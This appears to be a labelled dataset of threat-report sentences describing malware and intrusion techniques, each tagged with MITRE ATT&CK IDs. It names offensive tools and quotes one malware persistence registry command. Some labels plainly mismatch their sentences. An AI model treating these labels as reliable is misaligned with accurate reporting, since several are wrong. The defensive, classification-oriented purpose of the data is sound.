"In both variations, the install.bat batch file was used to install persistence for a trial-version of Cobalt Strike BEACON loader named storesyncsvc.dll (MD5: 5909983db4d9023e4098e56361c96a6f","['T1569.002 - System Services: Service Execution', 'T1059.003 - Command and Scripting Interpreter: Windows Command Shell']",golden
"The multi-stage infection chain downloads a payload that wipes the MBR, then downloads a malicious DLL file hosted on a Discord server, which drops and executes another wiper payload that destroys files on the infected machines",['T1102 - Web Service'],golden
"For initial compromise, FireEye Intelligence has observed APT39 leverage spear phishing emails with malicious attachments and/or hyperlinks typically resulting in a POWBAT infection. APT39 frequently registers and leverages domains that masquerade as legitimate web services and organizations that are relevant to the intended target","['T1566.002 - Phishing: Spearphishing Link', 'T1505.003 - Server Software Component: Web Shell', 'T1566.001 - Phishing: Spearphishing Attachment', 'T1078 - Valid Accounts']",golden
"Cisco Talos has discovered a new malware campaign based on a previously unknown family we're calling ""PoetRAT. The droppers are Microsoft Word documents that deploy a Python-based remote access trojan (RAT). We named this malware PoetRAT due to the various references to William Shakespeare, an English poet and playwright. The RAT has all the standard features of this kind of malware, providing full control of the compromised system to the operation. For exfiltration, it uses FTP, which denotes an intention to transfer large amounts of data. The campaign shows us that the operators manually pushed additional tools when they needed them on the compromised systems. We will describe a couple of these tools. The most interesting is a tool used to monitor the hard disk and exfiltrate data automatically. In addition to the malware campaigns, the attacker performed phishing a campaign on the same infrastructure",['T1125 - Video Capture'],golden
"an identifier unique for each victim (generated via CoCreateGuid API) - executable name and path - geolocation of the victim (retrieved via http://ipinfo.io/json) - strings necessary for creating and deleting the startup .LNK file - notes specific to the victim device (the C&amp;C operator supplies these, if any, via a backdoor command) - flags to indicate an action has already been performed, such as stealing Google Chrome stored credentials stealing Outlook data - stealing Google Chrome stored credentials - stealing Outlook data",['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],golden
"In order to execute the payload, the attackers take advantage of a technique called DLL Search Order Hijacking. Once the malicious DLL is loaded, it will decrypt a part of its own code using a XOR loop (see Figure 4), patch the entry point of the legitimate executable and jump again, back to the malicious DLL (see Figure 5",['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],golden
MCMD communicates to a HTTPS URL serving a PHP-based C2 panel hosted on likely compromised web servers,['T1071.001 - Application Layer Protocol: Web Protocols'],golden
"Egregor masquerades svchost.exe process to launch an RClone client in order to exfiltrate data. Based on investigations and OSINT, we know that Egregor used at least three different configurations to exfiltrate data",['T1036.004 - Masquerading: Masquerade Task or Service'],golden
"BRONZE BUTLER has used a broad range of publicly available (Mimikatz and gsecdump) and proprietary (Daserf and Datper) tools. It appears to have been sufficiently resourced to continuously develop and replace its proprietary tools over a long period of time. The threat actors developed remote access tools and malware that generate and use encrypted C2 communication, presumably to complicate detection and mitigation",['T1003.001 - OS Credential Dumping: LSASS Memory'],golden
"The spreadsheet also creates a scheduled task named ""windows update check"" that runs the file C:\Users\&lt;user_name&gt;\.templates\System Manager.exe every minute. Figure 3 provides a snippet of VBA code that creates the scheduled task, clearly obfuscated to avoid simple detection",['T1053.005 - Scheduled Task/Job: Scheduled Task'],golden
The delivery of the malware to the final victim is either though an email or a Web based vector,['T1189 - Drive-by Compromise'],golden
"DSInternals is a legitimate tool which can be used for querying Active Directory servers and retrieving data, typically passwords, keys, or password hashes",['T1036.005 - Masquerading: Match Legitimate Name or Location'],golden
"HermeticWiper enumerates a range of Physical Drives multiple times, from 0-100. For each Physical Drive, the \\.\EPMNTDRV\ device is called for a device number",['T1082 - System Information Discovery'],golden
"Since the 2016 publication, Microsoft has come across an evolution of PLATINUM’s file-transfer tool, one that uses the Intel® Active Management Technology (AMT) Serial-over-LAN (SOL) channel for communication. This channel works independently of the operating system (OS), rendering any communication over it invisible to firewall and network monitoring applications running on the host device",['T1095 - Non-Application Layer Protocol'],golden
"To have some minimal form of obfuscation from prying eyes, the strings in the backdoor are compressed and encoded in Base64, or their hashes are used instead",['T1027 - Obfuscated Files or Information'],golden
"The BLUELIGHT malware family uses different cloud providers to facilitate C2. This specific sample leveraged the Microsoft Graph API for its C2 operations. Upon start-up, BLUELIGHT performs an oauth2 token authentication using hard-coded parameters. Once the client is authenticated, BLUELIGHT creates a new subdirectory in the OneDrive appfolder and populates it with several subdirectories used by the C2 protocol. The following subdirectory names were used","['T1102.002 - Bidirectional Communication', 'T1071.001 - Application Layer Protocol: Web Protocols']",golden
"The actors used valid credentials obtained using MimiKatz variants to escalate privileges. We’ve observed Mimikatz being executed both from the file system of victim hosts and via PowerShell cmdlets executed via Cobalt Strike BEACON. In multiple instances, the actors have launched attacks against Kerberos, including the use of RUBEUS, the MimiKatz Kerberos module, and the Invoke-Kerberoast cmdlet",['T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting'],golden
"After the files are encrypted, the decrypter program attempts to delete any Windows Shadow Copies via this command",['T1570 - Lateral Tool Transfer'],golden
"If the user account doesn’t have local administrative or domain administrative permissions, the adversary attempts to discover which local or domain admin accounts exist, and exfiltrates the admin’s usernames. To identify if privileged users are active on remote servers, the adversary makes use of PsLogList from Microsoft Sysinternals to retrieve the Security event logs. The built-in Windows quser-command to show logged on users is also heavily used by them",['T1069.001 - Permission Groups Discovery: Local Groups'],golden
The email contains a web link for a Microsoft Word document. The Word document has macro code that retrieves a Windows executable for GuLoader. The executable retrieves an encrypted data file used for NetWire,['T1204.002 - User Execution: Malicious File'],golden
"What is even more disturbing is that it can remotely activate the victim’s webcam and microphone and spy on the victim by taking pictures and recording sound. Screen activity can be monitored by capturing screenshots. What is particularly interesting about InvisiMole is that not only are the usual “whole display” screenshots taken – it can separately capture each window, which helps the attackers gain more information even when the windows are overlapped",['T1125 - Video Capture'],golden
"The 2018 variants of MCMD have the added ability to upload files from the infected device. The file is taken from the path shown in Table 2 but is uploaded with a filename comprised of the current value of the GetTickCount API call plus the .dat file extension. Figure 5 shows the format used during the file upload performed via HTTPS POST, with the file transmitted as raw binary data",['T1005 - Data from Local System'],golden
"As seen in the screenshot above, data is passed into a decryption function before being used in a call to GetModuleHandleA. Before the hashing routine uses the module handle, the decrypted string representing the function name has its associated heap space freed and may be later overwritten. However, the reconstruction of this data is straightforward within the two core decryption algorithms we have observed. The first one relies on an encrypted blob whose first value is interpreted as the size of the decrypted data in DWORD (four-byte) chunks",['T1140 - Deobfuscate/Decode Files or Information'],golden
"Because it can self-propagate, Emotet presents a particular challenge for organizations. Once on a computer, Emotet downloads and executes a spreader module that contains a password list that it uses to attempt to brute force access to other machines on the same network",['T1110.001 - Brute Force: Password Guessing'],golden
"The outputs of the batch file included Active Directory users, computers, organizational units, subnets, groups, and trusts. With these outputs, FIN6 was able to identify user accounts that could access additional hosts in the domain. For lateral movement, FIN6 used another set of compromised credentials with membership to additional groups in the domain to RDP to other hosts",['T1482 - Domain Trust Discovery'],golden
"The “AdapterTroubleshooter.exe” file is a legitimate binary which is leveraged to use the famous DLL search order hijacking technique. Once loaded, the DLL will then inject FinSpy into the Winlogon process",['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],golden
"Upon infection the malware copies itself to %appdata%\microsoft\microsoft [0-9]{9-15}\dwm.exe (9-15 digits in directory name “Microsoft”), and adds a link to the malware executable in the startup folder for persistence",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],golden
"Cobalt Strike appears to be one of BRONZE PRESIDENT's preferred remote access tools. During one intrusion, the threat actors installed it on over 70% of accessible hosts. The group's Cobalt Strike installation typically uses a payload named svchost.exe in an attempt to disguise Cobalt Strike activity as the legitimate Windows svchost.exe executable. Its functionality includes uploading and downloading files, and it has configurable network protocols. The tool uses the Windows Management Instrumentation (WMI) event consumer for persistence by installing a script to the system's WMI registry. RCSession — This basic RAT is installed via DLL side-loading, and CTU researchers observed BRONZE PRESIDENT installing it on multiple hosts during intrusions. RCSession was extracted from a file called English.rtf and launched via a hollowed svchost.exe process. CTU researchers have no evidence of other threat actors using RCSession or of wide proliferation of the tool, suggesting it may be exclusively used by BRONZE PRESIDENT. Nbtscan being used via RCSession to scan an internal IP range. Wmiexec — This publicly available tool uses WMI to create SYSTEM-level shells on remote hosts",['T1036 - Masquerading'],golden
SDBbot stores its C&amp;Cs in a plaintext string or file (“ip.txt”). It uses a plaintext protocol over TCP port 443; an example session is shown in Figure 14,['T1095 - Non-Application Layer Protocol'],golden
"After the additional modules are hidden, the malware will launch itself by using DLL Search Order Hijacking",['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],golden
Since version 0.1.6 Returns endpoints for the given protocol for the given email address. If the email address is invalid (i.e. the user does not exists) this takes ages,['T1589.002 - Email Addresses'],golden
"SUNBURST's behavior is affected by the presence of malware analysis and security software. To disguise the strings used to detect these security tools, UNC2452 calculated and embedded a hash value for each string. The list of hashes and their corresponding strings can be viewed at this FireEye GitHub page",['T1562.001 - Impair Defenses: Disable or Modify Tools'],golden
"When executed, it pings google DNS (8.8.8.8) to test internet connectivity, then proceeds to drop a VNC client and establishes a connection to a remote C&amp;C server controlled by the attackers",['T1016.001 - System Network Configuration Discovery: Internet Connection Discovery'],golden
"Trojan.Killdisk comes in the form of an executable file, which is signed by a certificate issued to Hermetica Digital Ltd. The driver files are signed by a certificate issued to EaseUS Partition Master",['T1553.002 - Code Signing'],golden
"Pay2Key generates a pair of RSA keys and sends the public key to the server over raw TCP. The keys will be used to set up secure communication between the ransomware and the server. After sending the key, the ransomware will wait for messages from the server",['T1095 - Non-Application Layer Protocol'],golden
"In November 2018, we covered a Trickbot variant that came with a password-grabbing module, which allowed it to steal credentials from numerous applications. In January 2019, we saw Trickbot (detected as TrojanSpy.Win32.TRICKBOT.AZ and Trojan.Win32.MERETAM.AD) with new capabilities added to its already extensive bag of tricks. Its authors clearly aren't done updating Trickbot — we recently found a new variant that uses an updated version of the pwgrab module that lets it grab remote application credentials",['T1552.001 - Unsecured Credentials: Credentials In Files'],golden
"The adversary started a password spraying attack against those domain admin accounts, and successfully got a valid domain admin account this way. We observed the use of Mimikatz on this system and saw the hashes of the logged in domain admin account going through the command and control channel of the adversary. The adversary used a tool called NtdsAudit to dump the password hashes of domain users as well as we observed the following command",['T1550.002 - Use Alternate Authentication Material: Pass the Hash'],golden
"GRIM SPIDER also has been observed selecting a server to be the primary staging point. Subsequently, the adversary copies the Microsoft SysInternals PSTools archive to this system, and executes PsExec.exe, a utility that allows them to move laterally and execute commands on other Windows systems within the infrastructure. Using this common administrator tool, GRIM SPIDER can traverse the network, remotely installing TrickBot and adding persistence to new targets. TrickBot also has the shareDll module for propagating to other hosts using the current, active user credentials","['T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",golden
"Once on the intended target’s network, the threat actors used privileged credentials to access the victim’s domain controller typically via RDP. Once on the domain controller, the threat actors used the batch scripts “dc.bat” and “dit.bat” to enumerate hosts, users, and additional information about the environment. The observed outputs (text documents) from these scripts were","['T1069.002 - Permission Groups Discovery: Domain Groups', 'T1016 - System Network Configuration Discovery', 'T1087.002 - Account Discovery: Domain Account']",golden
"To fully exploit a target environment, IRON TWILIGHT used the XAgent (also known as Chopstick) modular remote access trojan (RAT) and the XTunnel persistent backchannel tool. XAgent can jump air-gapped networks by infecting USB storage devices and can be used against Windows and Unix-based operating systems. XAgent variants such as Komplex provide RAT functionality on the Mac OS X operating system, and the threat group maintains variants that operate on Apple iOS and the Google Android mobile operating systems. XTunnel provides IRON TWILIGHT with secure access to a compromised environment though a back connection created by the malware to a command and control (C2) server",['T1091 - Replication Through Removable Media'],golden
"The backdoor installer will drop a normal sidebar.exe file (a Windows Gadget tool, a feature already discontinued by Windows), a malicious loader (in ""C:\ProgramData\Apple\Update\wab32res.dll""), and an encrypted configuration file. UserInstall.exe will abuse the BITSadmin command-line tool to create a job and launch sidebar.exe",['T1197 - BITS Jobs'],golden
"If the message starts with a K, it executes a kubectl command to the cluster using the paths it found earlier by running the command %ls %s --kubeconfig=%ls where: The first parameter is the global variable of the kubectl’s path. The first parameter is the global variable of the kubectl’s path. If the message starts with a C, it simply runs the command minus the first character as a regular Windows cmd command",['T1609 - Kubernetes Exec Into Container'],golden
It uses masscan to search for kubelets in Kubernetes’ internal network. It uses kubelet’s API to search for running containers in a particular node,"['T1046 - Network Service Discovery', 'T1046 - Network Service Discovery', 'T1613 - Container and Resource Discovery']",golden
"The dropper then creates following registry entry to execute the Bisonal sample when the computer reboots: HKEY_CURRENT_USER \Software\Microsoft\Windows\CurrentVersion\Run\”vert” = “rundll32.exe c:\windows\temp\pvcu.dll , Qszdez",['T1218.011 - Signed Binary Proxy Execution: Rundll32'],golden
"Basically, the bot provides the attacker with an ability to control an infected PC using a remote shell, RDP or VNC console. It provides remote task and file managers, streams the desktop to the attacker, allows using a web camera, and more",['T1021.001 - Remote Services: Remote Desktop Protocol'],golden
"In addition to the previously described trick EvilBunny performs hook detection to trick environments which hook time retrieval APIs. Every API is called twice to calculate a delta, while performing a sleep(1000) operation between iteration one and iteration two. The final condition is, if any of the three deltas is below 998 milliseconds execution will abort. This can only be the case if any of the three API’s return values is modified by a system monitoring solution, like a sandbox",['T1497.003 - Time Based Evasion'],golden
"The C2 server will respond to requests from MobileOrder with commands that the Trojan refers to as “orders”. MobileOrder contains a command handler with functionality that provides a fairly robust set of commands, as seen in Table 6. The first byte of data provided by the C2 server is order number, which is followed by the encrypted data that needed to carry out the specific order",['T1041 - Exfiltration Over C2 Channel'],golden
"This is a common trait in ThreatNeedle loaders. The most common example we’ve seen is similar to the ThreatNeedle installer – the malware decrypts an embedded string using RC4, and compares it with the parameter “Sx6BrUk4v4rqBFBV” upon launch. If it matches, the malware begins decrypting its embedded payload using the same RC4 key. The decrypted payload is an archive file which is subsequently decompressed in the process. Eventually, the ThreatNeedle malware spawns in memory",['T1140 - Deobfuscate/Decode Files or Information'],golden
Interestingly the malware appears to first checks to make sure the received command is for the actual host - via a call to a function named check_if_targeted. This function extracts values received from the server checking that,['T1622 - Debugger Evasion'],golden
"These malicious documents used by Konni APT have been weaponized with the same simple but clever macro. It just uses a Shell function to execute a one-liner cmd command. This one liner command gets the current active document as input and looks for the ""^var"" string using findstr and then writes the content of the line staring from “var” into y.js",['T1057 - Process Discovery'],golden
"The adversary used the built-in lateral movement possibilities in Cobalt Strike. Cobalt Strike has various methods for deploying its beacons at newly compromised systems. We have seen the adversary using SMB, named pipes, PsExec, and WinRM",['T1569.002 - System Services: Service Execution'],golden
"Despite the notion that modern cybersecurity protocols have stopped email-based attacks, email continues to be one of the primary attack vectors for malicious actors — both for widespread and targeted operations. Recently, Cisco Talos has observed numerous email-based attacks that are spreading malware to users at both a large and small scale. In this blog post, we analyze several of those campaigns and their tactics, techniques and procedures (TTPs). These campaigns were all observed between mid-May and early July of this year, and can likely be attributed to one, or possibly two, groups. Other researchers have attributed these attacks to a group known as the Cobalt Gang, which has continued its activities even after the arrest of its alleged leader in Spain this year. The attacks we will be highlighting generally start with an email campaign, often targeted toward financial institutions. The malicious emails display a strong command of the English language, and their content may have been taken from legitimate emails relevant to the business of the targeted organization. The emails either contain a URL pointing to one of the three document types or have initial attack stages attached outright. It is essential to be aware of these attacks as emails look legitimate, but can result in the installation of a payload that can inflict significant financial damage to the targeted organization","['T1566.002 - Phishing: Spearphishing Link', 'T1566.001 - Phishing: Spearphishing Attachment']",golden
"Before evidence of BlackEnergy2 use in targeted attacks was uncovered, we tracked strange activity on one of the BlackEnergy CnC servers in 2013. This strangeness was related to values listed in newer BlackEnergy configuration files. As described in Dmitry’s 2010 Black DDoS’ analysis, a configuration file is downloaded from the server by main.dll on an infected system. The config file provides download instructions for the loader. It also instructs the loader to pass certain commands to the plugins. In this particular case in 2013, the config file included an unknown plugin set, aside from the usual ‘ddos’ plugin listing. Displayed below are these new, xml formatted plugin names “weap_hwi”, “ps”, and “vsnet” in a BlackEnergy configuration file download from a c2 server. This new module push must have been among the first for this group, because all of the module versions were listed as “version 1”, including the ddos plugin",['T1083 - File and Directory Discovery'],golden
"When compromising staging target networks, the threat actors used spear-phishing emails that differed from previously reported TTPs. The spear-phishing emails used a generic contract agreement theme (with the subject line “AGREEMENT &amp; Confidential”) and contained a generic PDF document titled ``document.pdf. Note the inclusion of two single back ticks at the beginning of the attachment name. The PDF was not malicious and did not contain any active code. The document contained a shortened URL that, when clicked, led users to a website that prompted the user for email address and password. Note: no code within the PDF initiated a download",['T1598.003 - Spearphishing Link'],golden
It uses a WMIC interface to identify antivirus products installed on the compromised computer and firewall details,"['T1047 - Windows Management Instrumentation', 'T1518.001 - Software Discovery: Security Software Discovery']",golden
"Global Targeting Using New Tools . Leveraging its global footprint, FireEye has detected APT10 activity across six continents in 2016 and 2017. It communicates encoded system information to a single hard coded command and control (C2) server, using the system’s default User-Agent string. BUGJUICE defaults to TCP using a custom binary protocol to communicate with the C2, but can also use HTTP and HTTPs if directed by the C2. It has the capability to find files, enumerate drives, exfiltrate data, take screenshots and provide a reverse shell. The malware’s capabilities include taking a system survey, access to the filesystem, executing commands and a reverse shell. The versions used by APT10 (1.3.4.0, 2.0.0.0, and 2.0.0.1) are not available via the public GitHub page, indicating that APT10 has further customized the open source version. Traditional and Novel Methods . This recent APT10 activity has included both traditional spear phishing and access to victim’s networks through service providers. In addition to the spear phishes, FireEye ISIGHT Intelligence has observed APT10 accessing victims through global service providers. APT10 actors issued the following commands to a SOGU implant at a victim: These commands included setting persistence on the victim’s system. Once connectivity to the service provider IP was verified, the actor established the service provider IP as a proxy for the victim’s SOGU backdoor",['T1018 - Remote System Discovery'],golden
9 COMRAT Features: - command execution; - file download; - file upload; - information gathering; - C&amp;C communication via HTTP requests,['T1071.001 - Application Layer Protocol: Web Protocols'],golden
"This extreme level of variance was also applied to non-executable entities, such as WMI persistence filter name, WMI filter query, passwords used for 7-zip archives, and names of output log files. Tools and binaries used by the attackers (e.g. ADFIND legit tool) were always renamed and placed in folders that mimicked existing programs and files already present on a machine. This blending was not just used for files, but for other elements. Before running intensive and continued hands-on keyboard activity, the attackers took care of disabling event logging using AUDITPOL and re-enabling it afterward. In a similar way, before running noisy network enumeration activities (such as repeated NSLOOKUP or LDAP queries), the attackers carefully prepared special firewall rules to minimize outgoing packets for certain protocols. The firewall rules were also methodically removed after the network reconnaissance was completed. We believe that the attackers used timestomping to change timestamps of artifacts and also leveraged professional wiping procedures and tools to complicate finding and recovering of DLL implants from affected environments",['T1482 - Domain Trust Discovery'],golden
"We not only found the initial entry point, but we were able to follow Seedworm’s subsequent activity after the initial infection due to the vast telemetry Symantec has access to via its Global Intelligence Network",['T1560.001 - Archive Collected Data: Archive via Utility'],golden
Analyzing Kobalos isn’t as trivial as most Linux malware because all of its code is held in a single function that recursively calls itself to perform subtasks,['T1027 - Obfuscated Files or Information'],golden
The CRYPTO Mimikatz module provides advanced capability to interface with Windows cryptographic functions (CryptoAPI). Typical use is to export certificates that aren’t marked as “exportable,['T1552.004 - Unsecured Credentials: Private Keys'],golden
open_link for reading content from the command-and-control (C&amp;C) server - down_exec for downloading and execute a file - shell to run a command line shell command - locker to run the ransomware routine - kill to terminate a process or itself,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],golden
The SodaMaster module also shows an anti-VM feature. The malware looks for the presence of the registry key “HKEY_CLASSES_ROOT\\Applications\\VMwareHostOpen.exe” on the victim’s system before proceeding to its main functionality. This registry key is specific to the VMware environment,"['T1012 - Query Registry', 'T1497.001 - Virtualization/Sandbox Evasion: System Checks']",golden
"One of the most interesting payloads in these attacks is the Anchor_DNS malware, which was originally discovered in October 2019 by NTT Security. It is classified by NTT as a variant of the infamous TrickBot malware, which uses DNS tunneling to stealthily communicate with C2 servers. Though this variant was first discovered in October 2019, there is evidence that Anchor_DNS was used as far back as March 2019",['T1071.001 - Application Layer Protocol: Web Protocols'],golden
"Daserf — This backdoor has the functionality of a remote shell and can be used to execute commands, upload and download data, capture screenshots, and log keystrokes. It uses RC4 encryption and custom Base64 encoding to obfuscate HTTP traffic. CTU researchers identified two versions of Daserf written in Visual C and Delphi. Datper uses an RC4-encrypted configuration to obfuscate HTTP traffic. xxmm (also known as Minzen) — This RAT and likely successor to Daserf AES-encrypts HTTP communications using a one-time encryption key. As of this publication, BRONZE BUTLER demonstrates a preference for concurrently using Datper and xxmm in its operations. MSGet — This persistent downloader uses a dead-drop resolver (DDR) to download and execute another malicious payload. Source: Secureworks) - RarStar — This custom tool uploads RAR archives to a specified URL as POST data (see Figure 6). RarStar encodes the POST data using Base64 and a custom XOR algorithm. Use the ‘at' or ‘schtask' commands to register a scheduled task to be executed in a few minutes. Use malware to upload the large list of enumerated files to the C2 server",['T1132.001 - Data Encoding: Standard Encoding'],golden
"After GOLD GARDEN's retirement announcement, REvil activity increased with expanded delivery methods such as malicious spam campaigns and RDP attacks. This surge suggests that the ransomware operators deemed it ready for public release. On June 20, REvil was leveraged in a strategic web compromise (SWC) against the Italian WinRAR . it website, replacing the WinRAR installation executable with an instance of the malware to infect customers' systems",['T1195.002 - Compromise Software Supply Chain'],golden
"The data is XOR encoded into a binary blob and uploaded. All further reconnaissance and command response data is similarly encoded. This version of the implant used the "".jpg"" extension for nearly all files uploaded regardless of their content, with different subdirectories and base filenames indicating different types of command data. The reconnaissance data, for instance, is uploaded to the ""logo/title.jpg"" path",['T1560.003 - Archive via Custom Method'],golden
"PlugX executes DLL hijacking with benign applications such as ESET antivirus, Adobe Update etc. However, the way the PlugX loader launches the payload is different from how it was done for the previous versions. Also, the PlugX that Mustang Panda APT uses has some extra features, including spreading through USB, gathering information, and stealing documents in air-gaped networks via USB","['T1052.001 - Exfiltration over USB', 'T1091 - Replication Through Removable Media']",golden
"The attackers also bundled a stripped down, 11 year old copy of the VirtualBox hypervisor inside the .msi file, which runs the VM as a “headless” device, with no user-facing interface. Weaponized virtual machine . The Maze attackers delivered the attack components for the third attack in the form of an .msi installer file. The root of that virtual disk contained three files associated with the Maze ransomware: preload.bat, vrun.exe, and a file just named payload (with no file extension), which is the actual Maze DLL payload. The attack payload was a 122 MB installer with a 282 MB virtual image inside—all to conceal a 49 kB ransomware executable. The Maze attackers took a slightly different approach, using a virtual Windows 7 machine instead of XP. The virtual machine (VM) that Sophos extracted from the Maze attack shows that this (newer) VM is configured in such a way that it allows easy insertion of another ransomware on the attacker’s ‘builder’ machine. But the cost in terms of size is signficant: The Ragnar Locker virtual disk was only a quarter the size of the nearly 2GB virtual disk used in the Maze attack—all just to conceal one 494 KB ransomware executable from detection. The attackers also executed the following commands on the host computer during the Maze attack: This ran the Microsoft Installer that installs VirtualBox and the virtual hard drive. The Maze threat actors have proven to be adept at adopting the techniques demonstrated to be successful by other ransomware gangs, including the use of extortion as a means to extract payment from victims. Peter has been with Sophos since 2011 and specialises in ransomware attacks",['T1218.007 - Signed Binary Proxy Execution: Msiexec'],golden
"It uses the arguments to build a path for a launch item (here, launch agent) property list (/Users/user/Library/LaunchAgents/com.apple.questd.plist), as well then configuring said plist","['T1059.002 - Command and Scripting Interpreter: AppleScript', 'T1543.001 - Create or Modify System Process: Launch Agent']",golden
"To make it run automatically when the system starts, it adds itself (runs filename.vbs) to the system registry as a startup program",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],golden
"The malware will establish persistence by adding an entry to the registry. For example, the NetWire malware value under the Microsoft Run registry “ruj” points to the NetWire payload in the AppData directory",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],golden
"Transmits payloads in modified RC4-encrypted chunks. This hardens the encryption of the network communication, as a single RC4 key will not decrypt the entire payload. Clears the host’s DNS cache every time it attempts to connect to its C2 server, thereby requiring that the host resolve the current IP address for the malicious C2 domain each time. Generates unique session keys for each connection to the C2 server. Obscures its connection protocol by connecting to the C2 server over a common port (443), thereby blending in with normal SSL network traffic. Uses position independent code (PIC) to throw off static analysis tools",['T1573.001 - Symmetric Cryptography'],golden
"A command that was not available in the original PowerShell variant of RogueRobin but is available with the new C# variant is the x_mode. This command is particularly interesting as it enables an alternative command and control channel that uses the Google Drive API. The x_mode command is disabled by default, but when enabled via a command received from the DNS tunneling channel, it allows RogueRobin to receive a unique identifier and to get jobs by using Google Drive API requests",['T1102.002 - Bidirectional Communication'],golden
"In addition, OceanLotus is also known to use ‘watering hole attacks’, which involve the compromise of a website that the victim is likely to visit. In this scenario, the ‘prey’ is tricked into downloading and executing a fake installer or fake update for popular software from the booby-trapped website. Whatever the method of compromise, ultimately the same backdoor is deployed",['T1189 - Drive-by Compromise'],golden
"Some plugins remain mysterious and their purpose is not yet clear, like ‘usb’ and ‘bios’. Why would the attackers need information on usb and bios characteristics. It suggests that based on a specific USB and BIOS devices, the attackers may upload specific plugins to carry out additional actions. Perhaps destructive, perhaps to further infect devices",['T1120 - Peripheral Device Discovery'],golden
"After the code is successfully injected into one of the above processes, the loader uses several methods to autorun from the victim's machine","['T1055.012 - Process Injection: Process Hollowing', 'T1055.013 - Process Doppelgänging']",golden
"EarthWorm, a simple network tunnel with SOCKS v5 server and port transfer functionalities - Mimikatz, and various versions including SafetyKatz - Nbtscan, a command line NetBIOS scanner for Windows - NetCat, a networking utility that reads and writes data across network connections - PortQry, a tool to display the status of TCP and UDP ports on remote systems - SMBTouch, used to determine whether a target is vulnerable to EternalBlue - Various tools from the ShadowBrokers dump of NSA tools including, but not limited to: DoublePulsar EternalBlue EternalRocks EternalSynergy - DoublePulsar - EternalBlue - EternalRocks - EternalSynergy","['T1046 - Network Service Discovery', 'T1095 - Non-Application Layer Protocol', 'T1049 - System Network Connections Discovery']",golden
"TSCookie supports multiple communication protocols (HTTP, HTTPS and custom protocol). The protocol that each sample uses is described in its configuration. If it is configured to use HTTP protocol, the following HTTP POST request is sent",['T1071.001 - Application Layer Protocol: Web Protocols'],golden
"To hide malicious functionality – persistence and C&amp;C communication – from static detections, the malware uses a common obfuscation technique known as “stackstrings” to build wide char strings",['T1027 - Obfuscated Files or Information'],golden
"There is a normal usage of the Windows registry to provide a method of persistence for this RAT by adding in a registry key in the RUN hive which will execute the Python script ""launcher.py. During our investigation, we witnessed several registry modifications that resulted in the malware skipping the sandbox evasion checks and carrying out the execution by using a ""police"" keyword. This could be used for hosts already infected to ensure they do not re-check this environment. Start routine The communication between the scripts is done via a file called ""Abibliophobia23"" Commands and results are written into the file using a custom encryption scheme. Obfuscation algorithm It uses a char substitution cipher where the new char code is obtained after performing mathematical operations on the char code to be encrypted using the key parameters",['T1027 - Obfuscated Files or Information'],golden
"After the malware sends system information, the C&amp;C server responds with a command DWORD. Depending on the command, the C&amp;C server then sends additional arguments. Some of the commands (mostly the shell and video related ones) make use of 48-byte data structures to store various data. There are other commands which create, delete, and query the status of these data structures, so it is defined in Figure 15",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],golden
"The malware performs connection to the C2 server by using InternetOpenA() with an hardcoded User-Agent: ""Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322"". Note the missing parenthesis at the end of the User-Agent. This variant has exactly the same features as the previous variant: file listing, OS version getting, process killing, drive listing, execution via ShellExecuteW(), execution via named pipe, cleaning, file removal, file downloading. Here is an example of code similarities on the execution via named pipe function. On the left a sample from Bisonal 2014 and on the right Bisonal 2011",['T1204.002 - User Execution: Malicious File'],golden
1) Adds a registry entry in the current user’s RUN key (HKCU) for later execution when the user next logs in. The registry keys and executables may vary from one version of the malware to another,"['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1218.011 - Signed Binary Proxy Execution: Rundll32']",golden
"The batch file kill.bat contains commands for stopping services, disabling services and killing processes. The processes and services are stopped to ensure no open handles exist for files that will be encrypted",['T1489 - Service Stop'],golden
bk” allows the reverse SSH tunnel to be set up using a C&amp;C specified remote host instead of the hardcoded C&amp;C server,['T1573.002 - Asymmetric Cryptography'],golden
"The install.bat script then goes on to enumerate all local disks, connected removable drives and mapped network drives on the physical machine, so they can be configured to be accessed from within the virtual machine",['T1120 - Peripheral Device Discovery'],golden
"The payload also employs anti-debugging and evasion techniques by using windows APIs to make the research and detection of the malware difficult, as depicted below",['T1106 - Native API'],golden
"The file that we analyzed has a timestamp of “2021-12-28”. This wiper-ware got its name because the attackers used a code-signing certificate issued to “Hermetica Digital Ltd. This traces back to a small videogame design business based in Cyprus with no links to Russia that claims it never applied for a digital certificate, pointing to possible identity theft. Operating systems use code-signing as an initial check on software, so it may have been designed to help the rogue program dodge anti-virus protections",['T1553.002 - Code Signing'],golden
"After displaying the error dialog box, the Trojan will sleep for two seconds by running the following command that runs the choice application. The use of the choice command, as seen below, did not appear in previous versions of OopsIE and appears to have been added in the most recent version used in this attack. With the Trojan moved its final location, it will then create a scheduled task to run a VBScript to make sure it runs persistently. The Trojan accesses two resources, named Sch and VBS that contains obfuscated strings that contain the command to create the scheduled task and the VBScript to run. This differs from the previous OopsIE variant that used a hardcoded task name for the scheduled task. The %path% string in the scheduled task command will be replaced with the path to the following: %APPDATA%\Windows\ShwDoc.VBS The decoded string from the VBS resource is written to ShwDoc.VBS. This process ultimately attempts to run the Trojan every three minutes, which is important as OopsIE relies on this scheduled task as it does not include a main loop to continue its execution. After creating this scheduled task for persistence, the Trojan will begin communicating with its C2 server. Also, the oops string used to signify and erroneous transmission from the C2, which gave OopsIE its name is reversed to spoo. The command handler in this OopsIE variant is very similar to the previous version, as it contains the same three (1, 2 and 3) commands seen in Table 2",['T1053.005 - Scheduled Task/Job: Scheduled Task'],golden
